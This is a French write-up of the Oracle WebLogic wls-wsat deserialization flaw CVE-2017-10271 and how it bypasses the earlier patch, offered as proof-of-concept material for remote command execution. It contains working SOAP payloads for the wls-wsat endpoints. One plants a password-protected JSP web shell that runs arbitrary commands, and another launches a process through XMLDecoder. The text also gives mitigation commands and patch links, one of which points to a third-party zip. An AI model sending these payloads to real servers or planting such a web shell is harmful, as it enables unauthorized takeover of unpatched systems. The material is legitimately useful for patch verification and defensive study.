
Exploit pour Oracle WebLogic CVE-2017-10271 (wls-wsat RCE bypass) avec scripts PoC pour l'exécution de commandes à distance et l'obtention d'un shell cmd sur des serveurs vulnérables.
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Au début, des pirates ont exploité la vulnérabilité du composant WLS de WebLogic pour lancer des attaques à distance à grande échelle contre les serveurs d'entreprise. Un grand nombre de serveurs ont été compromis, et le nombre d'entreprises touchées montre une nette tendance à la hausse, ce qui nécessite une attention particulière. CVE-2017-3506 est une vulnérabilité d'exécution de code à distance exploitant le composant WLS d'Oracle WebLogic. Il s'agit d'une vulnérabilité exploitée dans la nature sans divulgation publique préalable, et de nombreuses entreprises n'ont pas encore installé le correctif à temps. Oracle a publié le correctif pour cette vulnérabilité en avril 2017.
Notes du correctif CVE-2017-3506 :
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Le correctif ajoute simplement une fonction validate avant la désérialisation : si qName est égal à object, une exception est levée pour arrêter le processus. C'est simple et brutal, mais une telle réparation par liste noire est difficile à réaliser complètement. Cela mérite réflexion…
La méthode d'exploitation de cette vulnérabilité est relativement simple : l'attaquant n'a qu'à envoyer une requête HTTP soigneusement construite pour obtenir les privilèges du serveur cible, ce qui est très dangereux. Étant donné que la vulnérabilité est récente, de nombreux hôtes n'ont pas encore appliqué le correctif. On s'attend à une forte augmentation du nombre d'attaques après cet incident, avec de nombreux nouveaux hôtes compromis.
Le correctif d'avril 2017 d'Oracle pour CVE-2017-3506 était incomplet : il pouvait être contourné pour exécuter des commandes à distance. CVE-2017-10271 est une vulnérabilité de contournement qui a été corrigée dans le correctif d'octobre 2017.
CVE-2017-10271 (vulnérabilité de contournement de l'exécution de commandes à distance dans wls-wsat)
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Mettre en place un contrôle d'accès aux ressources wls-wsat.
Solution temporaire
Si l'activité n'est pas affectée, supprimer les fichiers war et répertoires suivants de WebLogic en fonction du chemin réel :
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Redémarrer le service WebLogic ou le système, puis vérifier que le lien suivant renvoie une erreur 404 :